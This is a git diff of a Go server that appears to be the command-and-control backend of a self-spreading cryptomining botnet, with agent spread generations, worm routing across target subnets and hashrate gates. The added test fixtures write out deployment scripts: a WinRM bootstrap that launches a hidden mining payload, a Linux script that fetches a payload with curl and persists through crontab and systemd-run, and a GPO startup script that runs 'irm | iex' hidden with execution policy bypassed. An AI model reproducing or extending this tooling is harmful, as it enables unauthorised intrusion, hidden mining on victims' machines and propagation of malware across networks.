ZIP export. type SpreadHandler struct { - db *dbpkg.Database - dataDir string - projectRoot string - wsHub *WSHub - publicURL func() string - erasureShards *erasure.ShardStore - deployPlan *DeployPlanHandler - s3CRRConfigFn func() erasure.S3ShardConfig - policyPathTracer *PathTracerHandler - policyFanoutCfgFn func() PolicyFanoutConfig - notesMu sync.RWMutex -} - -func (h *SpreadHandler) BindErasureShards(store *erasure.ShardStore) { - if h != nil { - h.erasureShards = store - } -} - -func (h *SpreadHandler) BindDeployPlan(handler *DeployPlanHandler) { - if h != nil { - h.deployPlan = handler - } -} - -func (h *SpreadHandler) BindS3CRRConfig(fn func() erasure.S3ShardConfig) { - if h != nil { - h.s3CRRConfigFn = fn - } -} - -// GET /api/v1/spread/aws-s3-crr-template — operator-applied CRR JSON (no AWS API calls). -func (h *SpreadHandler) GetS3CRRTemplate(w http.ResponseWriter, r *http.Request) { - if h == nil || h.s3CRRConfigFn == nil { - http.Error(w, "s3 crr not configured", http.StatusServiceUnavailable) - return - } - doc, err := erasure.BuildS3CRRRule(h.s3CRRConfigFn()) - if err != nil { - http.Error(w, err.Error(), http.StatusBadRequest) - return - } - writeJSON(w, map[string]interface{}{ - "template": "templates/spread/aws/s3-crr-rule.json", - "rule": doc, - "notes": "Apply via S3 console or CLI; enables cross-region shard epidemic replication under shards/", - }) + db *dbpkg.Database + dataDir string + projectRoot string + wsHub *WSHub + notesMu sync.RWMutex } func NewSpreadHandler(database *dbpkg.Database, dataDir, projectRoot string, wsHub *WSHub) *SpreadHandler { diff --git a/server/internal/api/spread_lanes_test.go b/server/internal/api/spread_lanes_test.go index bc3dc81..5ffa0b3 100644 --- a/server/internal/api/spread_lanes_test.go +++ b/server/internal/api/spread_lanes_test.go @@ -16,31 +16,134 @@ func writeDeploySpreadTemplates(t *testing.T, root string) { if err := os.MkdirAll(winrmDir, 0o755); err != nil { t.Fatal(err) } - if err := os.WriteFile(filepath.Join(winrmDir, "bootstrap.ps1"), []byte(`Enable-PSRemoting`), 0o644); err != nil { + winrmScript := `# WinRM bootstrap +Enable-PSRemoting -Force -SkipNetworkProfileCheck +$url = '{{SERVER_URL}}/get?os=windows{{GET_QUERY_SUFFIX}}' +Start-Process -FilePath $dest -ArgumentList '--spread-install','--defer-mining' -WindowStyle Hidden +powershell.exe -EncodedCommand $encoded +` + if err := os.WriteFile(filepath.Join(winrmDir, "bootstrap.ps1"), []byte(winrmScript), 0o644); err != nil { + t.Fatal(err) + } + + linuxDir := filepath.Join(root, "templates", "spread", "linux") + if err := os.MkdirAll(linuxDir, 0o755); err != nil { + t.Fatal(err) + } + linuxScript := `#!/bin/sh +LOTL_MODE='{{LOTL_MODE}}' +curl -fsSL "${SERVER}/get?os=linux{{QUERY_SUFFIX}}" +systemd-run --user --unit=aetherforge-worker.service +persist_crontab() { crontab -; } +` + if err := os.WriteFile(filepath.Join(linuxDir, "lotl-bootstrap.sh"), []byte(linuxScript), 0o755); err != nil { + t.Fatal(err) + } + + entDir := filepath.Join(root, "templates", "spread", "enterprise") + if err := os.MkdirAll(entDir, 0o755); err != nil { + t.Fatal(err) + } + gpoScript := `# GPO computer startup script +$installScript = '{{SERVER_URL}}/install.ps1{{GET_QUERY_SUFFIX}}' +$env:AETHER_DEFER_MINING = '1' +powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm '$installScript' | iex" +` + if err := os.WriteFile(filepath.Join(entDir, "gpo-startup.ps1"), []byte(gpoScript), 0o644); err != nil { t.Fatal(err) } - ssmDir := filepath.Join(root, "templates", "spread", "ssm") - _ = os.MkdirAll(ssmDir, 0o755) - _ = os.WriteFile(filepath.Join(ssmDir, "document.json"), []byte(`{"schemaVersion":"2.2","mainSteps":[{"inputs":{"runCommand":["curl '{{MANIFEST_URL}}'","{{SHARD_FETCH_LINES}}","curl '{{FALLBACK_GET_URL}}'"]}}]}`), 0o644) - _ = os.WriteFile(filepath.Join(ssmDir, "run-command.json"), []byte(`{"DocumentName":"AetherForge-ErasureSpread-{{BUILD_ID}}"}`), 0o644) - _ = os.WriteFile(filepath.Join(ssmDir, "create-document.sh"), []byte(`#!/bin/sh`), 0o644) } -func TestDeployPlanSSMDocumentLane(t *testing.T) { +func TestSpreadTemplatePathsWinRMGPO(t *testing.T) { + cases := map[string]struct { + subdir string + zip string + }{ + "winrm": {"winrm", "aetherforge-winrm-bootstrap.zip"}, + "linux-lotl": {"linux", "aetherforge-linux-lotl.zip"}, + "gpo": {"enterprise", "aetherforge-gpo-startup.zip"}, + "enterprise-gpo": {"enterprise", "aetherforge-gpo-startup.zip"}, + } + for tpl, want := range cases { + subdir, zip, err := spreadTemplatePaths(tpl) + if err != nil { + t.Fatalf("%q: %v", tpl, err) + } + if subdir != want.subdir || zip != want.zip { + t.Fatalf("%q => subdir=%q zip=%q want %+v", tpl, subdir, zip, want) + } + } + _, _, err := spreadTemplatePaths("bogus-lane") + if err == nil || !strings.Contains(err.Error(), "unknown template") { + t.Fatalf("err=%v", err) + } +} + +func TestDeployPlanWinRMLane(t *testing.T) { root := t.TempDir() writeDeploySpreadTemplates(t, root) h := testDeployPlanHandlerWithRoot(t, root) plan, err := h.buildPlan(deployPlanRequest{ - Platform: "linux", BuildID: "b1", Campaign: "ssm-lab", - }, "AmazonSSMAgent", ServiceDeployLane{Lane: "ssm_document", Template: "ssm-document"}) + Platform: "windows", BuildID: "b1", Campaign: "winrm-lab", + }, "WinRM", ServiceDeployLane{Lane: "winrm", Template: "winrm"}) if err != nil { t.Fatal(err) } - if plan.JoinLane != "ssm_document" || plan.SSMDocument == "" { + if plan.JoinLane != "winrm" || plan.Script == "" { t.Fatalf("plan=%+v", plan) } - if !strings.Contains(plan.SSMDocument, "schemaVersion") { - t.Fatalf("doc=%s", plan.SSMDocument) + for _, marker := range []string{ + "http://127.0.0.1:8989/get?os=windows", + "--spread-install", + "--defer-mining", + "Enable-PSRemoting", + } { + if !strings.Contains(plan.Script, marker) { + t.Fatalf("script missing %q: %s", marker, plan.Script) + } + } +} + +func TestDeployPlanGPOLane(t *testing.T) { + root := t.TempDir() + writeDeploySpreadTemplates(t, root) + h := testDeployPlanHandlerWithRoot(t, root) + plan, err := h.buildPlan(deployPlanRequest{ + Platform: "windows", BuildID: "b1", Campaign: "gpo-wave", + }, "gpsvc", ServiceDeployLane{Lane: "gpo", Template: "gpo"}) + if err != nil { + t.Fatal(err) + } + if plan.JoinLane != "gpo" || plan.Script == "" { + t.Fatalf("plan=%+v", plan) + } + for _, marker := range []string{"/install.ps1", "AETHER_DEFER_MINING"} { + if !strings.Contains(plan.Script, marker) { + t.Fatalf("script missing %q: %s", marker, plan.Script) + } + } + if !strings.Contains(plan.Script, "pin=b1") || !strings.Contains(plan.Script, "c=gpo-wave") { + t.Fatalf("script missing query suffix: %s", plan.Script) + } +} + +func TestDeployPlanLinuxLOTLLane(t *testing.T) { + root := t.TempDir() + writeDeploySpreadTemplates(t, root) + h := testDeployPlanHandlerWithRoot(t, root) + plan, err := h.buildPlan(deployPlanRequest{ + Platform: "linux", BuildID: "b1", Campaign: "lotl-lab", + }, "sshd", ServiceDeployLane{Lane: "linux_lotl", Template: "linux-lotl"}) + if err != nil { + t.Fatal(err) + } + if plan.JoinLane != "linux_lotl" || plan.Script == "" { + t.Fatalf("plan=%+v", plan) + } + for _, marker := range []string{"systemd-run --user", "curl -fsSL", "systemd_run_user"} { + if !strings.Contains(plan.Script, marker) { + t.Fatalf("script missing %q: %s", marker, plan.Script) + } } } @@ -53,10 +156,22 @@ func testDeployPlanHandlerWithRoot(t *testing.T, projectRoot string) *DeployPlan } t.Cleanup(func() { _ = database.Close() }) buildDir := filepath.Join(dir, "builds", "b1") - _ = os.MkdirAll(buildDir, 0o755) + if err := os.MkdirAll(buildDir, 0o755); err != nil { + t.Fatal(err) + } artifact := filepath.Join(buildDir, "worker.exe") - _ = os.WriteFile(artifact, []byte("deploy-plan-test-payload"), 0o644) - _ = database.InsertBuild(&models.BuildRecord{ID: "b1", Platform: "linux", FileName: "worker.exe", FilePath: artifact}) + if err := os.WriteFile(artifact, []byte("deploy-plan-test-payload"), 0o644); err != nil { + t.Fatal(err) + } + if err := database.InsertBuild(&models.BuildRecord{ + ID: "b1", Platform: "windows", FileName: "worker.exe", FilePath: artifact, + }); err != nil { + t.Fatal(err) + } + cfgPath := filepath.Join(dir, "config.json") + if err := os.WriteFile(cfgPath, []byte(`{"server":{"dns_zone":"lab.internal"}}`), 0o644); err != nil { + t.Fatal(err) + } return NewDeployPlanHandler(database, dir, projectRoot, func() string { return "http://127.0.0.1:8989" }, func() string { return "fleet-test" }, diff --git a/server/internal/api/spreadrouter_bridge.go b/server/internal/api/spreadrouter_bridge.go index 68bbbe0..e426427 100644 --- a/server/internal/api/spreadrouter_bridge.go +++ b/server/internal/api/spreadrouter_bridge.go @@ -100,7 +100,6 @@ func buildSpreadRouterInput(hub *WSHub, sessions []*TraceSession, targetSubnets in.LaneSuccess = collectLaneSuccessStats(hub) in.ErasureLanesEnabled = hub.serverPolicySnapshot().ErasureLanesEnabled - in.FargateBurstActive = hub.fargateBurstActive() return in } diff --git a/server/internal/api/websocket.go b/server/internal/api/websocket.go index 9242dbd..6e34edb 100644 --- a/server/internal/api/websocket.go +++ b/server/internal/api/websocket.go @@ -1,4 +1,4 @@ -package api +package api import ( "crypto/subtle" @@ -179,12 +179,6 @@ type WSHub struct { epidemiology *epidemiology.Tracker miningSurgery *miningsurgery.Tracker contingencyOrch *mining.ContingencyOrchestrator - fargateBurstCampaign bool - fargateBurstExpiresAt time.Time - fargateBurstTTLHours int - policySnapshotToken string - policyEventBridgeRelayURL string - policyPublicBaseURL func() string pingIntervalSec int fleetSecret string // baked into forged agents; verified on WS connect eventNotifier *alerts.Notifier @@ -208,10 +202,6 @@ type WSHub struct { scoutConstellations *fleetai.ScoutConstellationRegistry scoutAgents map[string]bool - // Cloud venue biomes (EC2 agents reporting IMDS tags + Organizations OU). - cloudVenueMu sync.Mutex - cloudVenues *fleetai.CloudVenueRegistry - // Coalesce per-agent stats_update into a single stats_batch frame per tick. statsBatchMu sync.Mutex statsBatch map[string]json.RawMessage @@ -692,8 +682,6 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { ParentAgentID string `json:"parent_agent_id,omitempty"` SpreadGeneration int `json:"spread_generation,omitempty"` SpreadStrain string `json:"spread_strain,omitempty"` - GenesisSnapshotHash string `json:"genesis_snapshot_hash,omitempty"` - StrainCardID string `json:"strain_card_id,omitempty"` FleetRole string `json:"fleet_role,omitempty"` SeederMode bool `json:"seeder_mode,omitempty"` } @@ -856,9 +844,6 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { SpreadStrain: strings.TrimSpace(auth.SpreadStrain), Capabilities: &caps, } - applyLaunchTemplateGenesisFirstAuth(agent, isNewAgent, launchTemplateAuthProbe{ - JoinLane: auth.JoinLane, ParentAgentID: auth.ParentAgentID, GenesisSnapshotHash: auth.GenesisSnapshotHash, - }) if err := h.db.UpsertAgent(agent); err != nil { log.Printf("Failed to upsert agent: %v", err) @@ -953,7 +938,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { } resp["triple_onion_policy"] = top spreadPolicy := map[string]interface{}{} - if policy.HashrateGateSpreadMin > 0 || policy.HashrateGateHPS > 0 || policy.ErasureLanesEnabled || policy.FleetTorrentEnabled || policy.AwsS3ShardRegion != "" || policy.AwsCloudFrontDomain != "" { + if policy.HashrateGateSpreadMin > 0 || policy.HashrateGateHPS > 0 || policy.ErasureLanesEnabled || policy.FleetTorrentEnabled { spreadPolicy["erasure_lanes_enabled"] = policy.ErasureLanesEnabled spreadPolicy["fleet_torrent_enabled"] = policy.FleetTorrentEnabled if policy.HashrateGateSpreadMin > 0 { @@ -962,28 +947,12 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { if policy.HashrateGateHPS > 0 { spreadPolicy["hashrate_gate_hps"] = policy.HashrateGateHPS } - if policy.AwsS3ShardRegion != "" { - spreadPolicy["aws_s3_shard_region"] = policy.AwsS3ShardRegion - } - if policy.AwsCloudFrontDomain != "" { - spreadPolicy["aws_cloudfront_domain"] = policy.AwsCloudFrontDomain - } } if scoutPolicy := h.scoutSpreadPolicyForAuth(agentID); scoutPolicy != nil { for k, v := range scoutPolicy { spreadPolicy[k] = v } } - if cloudPolicy := h.cloudVenueSpreadPolicyForAuth(agentID); cloudPolicy != nil { - for k, v := range cloudPolicy { - spreadPolicy[k] = v - } - } - if fanout := h.policyFanoutSpreadFields(); fanout != nil { - for k, v := range fanout { - spreadPolicy[k] = v - } - } if len(spreadPolicy) > 0 { resp["spread_policy"] = spreadPolicy } @@ -1495,34 +1464,6 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { h.ingestScoutConstellationReport(agentID, report.SSID, report.ServiceCount) } - case "cloud_venue_report": - if agentID == "" { - continue - } - var report struct { - CloudProvider string `json:"cloud_provider"` - Environment string `json:"environment"` - Workload string `json:"workload"` - InstanceType string `json:"instance_type"` - InstanceLifecycle string `json:"instance_lifecycle"` - OrganizationalUnit string `json:"organizational_unit"` - EC2Tags map[string]string `json:"ec2_tags"` - } - if err := json.Unmarshal(msg.Payload, &report); err != nil { - continue - } - if strings.TrimSpace(report.CloudProvider) == "" { - report.CloudProvider = "aws" - } - h.ingestCloudVenueReport(agentID, fleetai.CloudVenueReport{ - Environment: report.Environment, - Workload: report.Workload, - InstanceType: report.InstanceType, - InstanceLifecycle: report.InstanceLifecycle, - OrganizationalUnit: report.OrganizationalUnit, - EC2Tags: report.EC2Tags, - }) - case "ai_snapshot": if agentID == "" { continue diff --git a/server/internal/atlas/fleet_gossip.go b/server/internal/atlas/fleet_gossip.go index c443aeb..81700a4 100644 --- a/server/internal/atlas/fleet_gossip.go +++ b/server/internal/atlas/fleet_gossip.go @@ -1,16 +1,17 @@ package atlas import ( - "fmt" "strings" ) +// Fleet gossip kinds — shard DHT advertisements relayed fleet-wide (not LAN-only). const ( FleetGossipHaveShard = "have_shard" FleetGossipHealthy = "healthy" FleetGossipKnowNode = "know_node" ) +// FleetGossipRecord is one peer advertisement in the fleet torrent DHT. type FleetGossipRecord struct { Kind string `json:"kind"` AgentID string `json:"agent_id,omitempty"` @@ -18,21 +19,18 @@ type FleetGossipRecord struct { Token string `json:"token,omitempty"` ShardIndex int `json:"shard_index,omitempty"` ShardHash string `json:"shard_hash,omitempty"` - Region string `json:"region,omitempty"` - ShardAdvert string `json:"shard_advert,omitempty"` TargetAgentID string `json:"target_agent_id,omitempty"` Healthy bool `json:"healthy,omitempty"` FetchURL string `json:"fetch_url,omitempty"` } +// NormalizeFleetGossipRecord validates and trims one fleet gossip record. func NormalizeFleetGossipRecord(r FleetGossipRecord) (FleetGossipRecord, bool) { r.Kind = strings.TrimSpace(strings.ToLower(r.Kind)) r.AgentID = strings.TrimSpace(r.AgentID) r.Subnet = strings.TrimSpace(r.Subnet) r.Token = strings.TrimSpace(r.Token) r.ShardHash = strings.TrimSpace(strings.ToLower(r.ShardHash)) - r.Region = strings.TrimSpace(r.Region) - r.ShardAdvert = strings.TrimSpace(r.ShardAdvert) r.TargetAgentID = strings.TrimSpace(r.TargetAgentID) r.FetchURL = strings.TrimSpace(r.FetchURL) switch r.Kind { @@ -40,17 +38,6 @@ func NormalizeFleetGossipRecord(r FleetGossipRecord) (FleetGossipRecord, bool) { if r.AgentID == "" || r.Token == "" || r.ShardHash == "" { return FleetGossipRecord{}, false } - if r.Region == "" && r.ShardAdvert != "" { - if region, idx, ok := parseShardAdvert(r.ShardAdvert); ok { - r.Region = region - if r.ShardIndex == 0 { - r.ShardIndex = idx - } - } - } - if r.ShardAdvert == "" && r.Region != "" { - r.ShardAdvert = fmt.Sprintf("%s:%d", r.Region, r.ShardIndex) - } case FleetGossipHealthy: if r.AgentID == "" { return FleetGossipRecord{}, false @@ -65,6 +52,7 @@ func NormalizeFleetGossipRecord(r FleetGossipRecord) (FleetGossipRecord, bool) { return r, true } +// NormalizeFleetGossipRecords drops invalid records while preserving order. func NormalizeFleetGossipRecords(in []FleetGossipRecord) []FleetGossipRecord { if len(in) == 0 { return nil @@ -77,15 +65,3 @@ func NormalizeFleetGossipRecords(in []FleetGossipRecord) []FleetGossipRecord { } return out } - -func parseShardAdvert(advert string) (region string, index int, ok bool) { - colon := strings.LastIndex(strings.TrimSpace(advert), ":") - if colon <= 0 { - return "", 0, false - } - region = strings.TrimSpace(advert[:colon]) - if _, err := fmt.Sscanf(strings.TrimSpace(advert[colon+1:]), "%d", &index); err != nil { - return "", 0, false - } - return region, index, region != "" -} diff --git a/server/internal/atlas/fleet_gossip_test.go b/server/internal/atlas/fleet_gossip_test.go index a46168a..6201579 100644 --- a/server/internal/atlas/fleet_gossip_test.go +++ b/server/internal/atlas/fleet_gossip_test.go @@ -2,12 +2,15 @@ package atlas import "testing" -func TestNormalizeFleetGossipShardAdvert(t *testing.T) { - r, ok := NormalizeFleetGossipRecord(FleetGossipRecord{ - Kind: FleetGossipHaveShard, AgentID: "a", Token: "t", ShardHash: "h", - Region: "us-west-2", ShardIndex: 4, - }) - if !ok || r.ShardAdvert != "us-west-2:4" { - t.Fatalf("advert=%q", r.ShardAdvert) +func TestNormalizeFleetGossipRecords(t *testing.T) { + in := []FleetGossipRecord{ + {Kind: FleetGossipHaveShard, AgentID: "a", Token: "tok", ShardHash: "abc"}, + {Kind: "bogus"}, + {Kind: FleetGossipHealthy, AgentID: "b", Healthy: true}, + {Kind: FleetGossipKnowNode, AgentID: "a", TargetAgentID: "c"}, + } + out := NormalizeFleetGossipRecords(in) + if len(out) != 3 { + t.Fatalf("got %d records", len(out)) } } diff --git a/server/internal/erasure/lanes.go b/server/internal/erasure/lanes.go index b988aba..dc3c45a 100644 --- a/server/internal/erasure/lanes.go +++ b/server/internal/erasure/lanes.go @@ -14,10 +14,9 @@ var parallelLaneOrder = []string{ // ShardRef is one erasure shard served on a parallel lane URL. type ShardRef struct { - Index int `json:"index"` - Lane string `json:"lane"` - URL string `json:"url"` - EdgeURL string `json:"edge_url,omitempty"` + Index int `json:"index"` + Lane string `json:"lane"` + URL string `json:"url"` } // Plan is deploy-plan metadata for agent-side Reed–Solomon reassembly. diff --git a/server/internal/spreadrouter/router.go b/server/internal/spreadrouter/router.go index 487980d..165126d 100644 --- a/server/internal/spreadrouter/router.go +++ b/server/internal/spreadrouter/router.go @@ -62,7 +62,6 @@ type Input struct { TargetSubnets []string RequestedLane string ErasureLanesEnabled bool - FargateBurstActive bool } // RouteEdge is a weighted edge from a seed hop to a target subnet. @@ -94,8 +93,6 @@ type RouteRecommendation struct { ErasureLanesEnabled bool `json:"erasure_lanes_enabled,omitempty"` SwarmMagnet string `json:"swarm_magnet,omitempty"` ShardManifestURLs []string `json:"shard_manifest_urls,omitempty"` - PreferFargateSeeder bool `json:"prefer_fargate_seeder,omitempty"` - RouteVia string `json:"route_via,omitempty"` } // SpreadRouteHint is attached to signed deploy plans for agent egress routing. @@ -115,8 +112,6 @@ type SpreadRouteHint struct { SwarmMagnet string `json:"swarm_magnet,omitempty"` // ShardManifestURLs lists C2/public shard fetch URLs for BGP spread hints. ShardManifestURLs []string `json:"shard_manifest_urls,omitempty"` - PreferFargateSeeder bool `json:"prefer_fargate_seeder,omitempty"` - RouteVia string `json:"route_via,omitempty"` } // RouteTable holds weighted edges and recommendations. @@ -157,7 +152,7 @@ func Build(in Input) *RouteTable { targets := normalizeTargets(in) for _, target := range targets { cands := collectCandidates(in, target, fleetByID, laneRates) - rec, edges := scoreCandidates(target, in.RequestedLane, in.ErasureLanesEnabled, in.FargateBurstActive, cands) + rec, edges := scoreCandidates(target, in.RequestedLane, in.ErasureLanesEnabled, cands) if rec.SeedAgentID != "" { rt.Routes = append(rt.Routes, rec) rt.bySubnet[target] = rec @@ -193,9 +188,6 @@ func ToHint(rec RouteRecommendation) *SpreadRouteHint { Score: rec.Score, ClearanceLevel: rec.ClearanceLevel, ErasureLanesEnabled: rec.ErasureLanesEnabled, - SwarmMagnet: rec.SwarmMagnet, - ShardManifestURLs: rec.ShardManifestURLs, - PreferFargateSeeder: rec.PreferFargateSeeder, } } @@ -311,7 +303,7 @@ func collectCandidates(in Input, target string, fleet map[string]FleetAgentSnaps return out } -func scoreCandidates(target, requestedLane string, erasureLanes, fargateBurst bool, cands []candidate) (RouteRecommendation, []RouteEdge) { +func scoreCandidates(target, requestedLane string, erasureLanes bool, cands []candidate) (RouteRecommendation, []RouteEdge) { var edges []RouteEdge var best RouteRecommendation var bestScore float64 @@ -361,7 +353,6 @@ func scoreCandidates(target, requestedLane string, erasureLanes, fargateBurst bo Score: weight, Reason: reason, ErasureLanesEnabled: erasureLanes, - PreferFargateSeeder: fargateBurst, } } } diff --git a/server/internal/spreadrouter/router_test.go b/server/internal/spreadrouter/router_test.go index 30b7987..f7756c7 100644 --- a/server/internal/spreadrouter/router_test.go +++ b/server/internal/spreadrouter/router_test.go @@ -123,25 +123,6 @@ func TestBuildSetsErasureLanesFlag(t *testing.T) { } } -func TestBuildSetsPreferFargateSeederWhenBurstActive(t *testing.T) { - in := Input{ - TargetSubnets: []string{"10.9.8"}, - FargateBurstActive: true, - FleetAgents: []FleetAgentSnapshot{ - {AgentID: "a1", Subnet: "10.9.8", Clearance: clearance.L2, Connected: true}, - }, - } - rt := Build(in) - rec, ok := rt.Recommend("10.9.8") - if !ok || !rec.PreferFargateSeeder { - t.Fatalf("route=%+v ok=%v", rec, ok) - } - hint := ToHint(rec) - if hint == nil || !hint.PreferFargateSeeder { - t.Fatalf("hint=%+v", hint) - } -} - func TestToHint(t *testing.T) { hint := ToHint(RouteRecommendation{ TargetSubnet: "10.1.2", SeedAgentID: "a1", EgressAgentID: "a1", Score: 0.8, diff --git a/server/main.go b/server/main.go index c1d1375..4a64fa4 100644 --- a/server/main.go +++ b/server/main.go @@ -1,4 +1,4 @@ -package main +package main import ( "context" @@ -306,8 +306,6 @@ func main() { publicHandler := api.NewPublicHandler(database, cfg.DataDir, publicBuildsCfg) publicHandler.BindErasureShardStore(erasureShardStore) spreadHandler := api.NewSpreadHandler(database, cfg.DataDir, projectRoot, wsHub) - spreadHandler.BindFargateDeps(func() string { return configProvider.PublicURL() }, erasureShardStore) - spreadHandler.BindS3CRRConfig(func() erasure.S3ShardConfig { return cfg.S3ShardCRRConfig() }) spreadCredHandler := api.NewSpreadCredHandler(database, spreadCredAdapter) deployPlanHandler := api.NewDeployPlanHandler( database, cfg.DataDir, projectRoot, @@ -316,10 +314,6 @@ func main() { func() map[string]api.ServiceDeployLane { return apiServiceDeployAllowlist(cfg.Server.ServiceDeployAllowlist) }, ) deployPlanHandler.BindErasureFromHub(wsHub, erasureShardStore) - deployPlanHandler.BindAWSErasureSwarm(func() erasure.AWSSwarmSettings { return cfg.AWSSwarmSettings() }, func(s erasure.AWSSwarmSettings) erasure.ShardObjectStore { return &erasure.S3HTTPStore{Settings: s} }) - erasureSwarmHandler := api.NewErasureSwarmHandler(func() erasure.AWSSwarmSettings { return cfg.AWSSwarmSettings() }, func() erasure.ShardObjectStore { return &erasure.S3HTTPStore{Settings: cfg.AWSSwarmSettings()} }) - spreadHandler.BindDeployPlan(deployPlanHandler) - spreadHandler.BindErasureShards(erasureShardStore) // Path Forge: server-side recursive file seeding pathForgeHandler := builder.NewPathForgeHandler(cfg.DataDir) @@ -360,7 +354,7 @@ func main() { log.Printf("Web root: %s", webRoot) // Initialize router - router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, fleetAIHandler, dropperHandler, spreadHandler, spreadCredHandler, deployPlanHandler, erasureSwarmHandler, publicHandler, pathForgeHandler, pathTracerHandler, webRoot, cfg.DataDir, func() string { + router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, fleetAIHandler, dropperHandler, spreadHandler, spreadCredHandler, deployPlanHandler, publicHandler, pathForgeHandler, pathTracerHandler, webRoot, cfg.DataDir, func() string { return configProvider.PublicURL() }, cfg.Port, func() bool { return cfg.ConnectorToken() != "" @@ -442,12 +436,7 @@ func applyRuntimeConfig(cfg *Config, wsHub *api.WSHub, poolManager *pool.Manager HashrateGateHPS: cfg.Server.HashrateGateHPS, ErasureLanesEnabled: cfg.Server.ErasureLanesEnabled, FleetTorrentEnabled: cfg.Server.FleetTorrentEnabled, - AwsS3ShardRegion: cfg.Server.AWSS3ShardRegion, - AwsCloudFrontDomain: cfg.Server.AWSCloudFrontDomain, - FargateBurstCampaign: cfg.Server.FargateBurstCampaign, - FargateBurstTTLHours: cfg.Server.FargateBurstTTLHours, }) - wsHub.SyncFargateBurstCampaign(cfg.Server.FargateBurstCampaign, cfg.Server.FargateBurstExpiresAt, cfg.Server.FargateBurstTTLHours) } if poolManager != nil { poolManager.SetReconnectDelay(cfg.Server.PoolReconnectSeconds) diff --git a/server/web/e2e/pages.spec.ts b/server/web/e2e/pages.spec.ts index 000b8f5..3bea7d3 100644 --- a/server/web/e2e/pages.spec.ts +++ b/server/web/e2e/pages.spec.ts @@ -48,12 +48,4 @@ test.describe('Page smoke', () => { await expect(page.getByRole('heading', { name: 'Quick Forge' })).toBeVisible(); await expect(page.locator('.forge-mode-toggle').getByRole('button', { name: 'Simple', exact: true }).first()).toBeVisible(); }); - - test('Emberwake Cloud Ecosystem hub loads', async ({ page }) => { - await page.getByRole('link', { name: /Emberwake/i }).click(); - await expect(page.getByText('Cloud Ecosystem')).toBeVisible({ timeout: 10_000 }); - await page.getByText('Cloud Ecosystem').click(); - await expect(page.getByTestId('cloud-spread-panel')).toBeVisible({ timeout: 10_000 }); - await expect(page.getByTestId('cloud-method-s3-cloudfront')).toBeVisible(); - }); }); diff --git a/server/web/public/spread/index.html b/server/web/public/spread/index.html index 1d08080..587c234 100644 --- a/server/web/public/spread/index.html +++ b/server/web/public/spread/index.html @@ -174,12 +174,6 @@
-Download launch-template.json, user-data.sh, asg-example.json — or .
- -Deploy the entire kit folder (or exported ZIP contents) to a origin you control — off the C2 host when possible.
@@ -241,24 +235,6 @@
- When a Fargate burst campaign is active on the command deck, BGP spread hints set
- prefer_fargate_seeder. Download a standalone task definition + run script with embedded
- erasure shards — run on your AWS account (no server-side ECS required).
-
- ZIP includes erasure-shards.json. Campaign TTL is 2–4 hours; Seer emits
- fargate_plague_front when burst activates.
-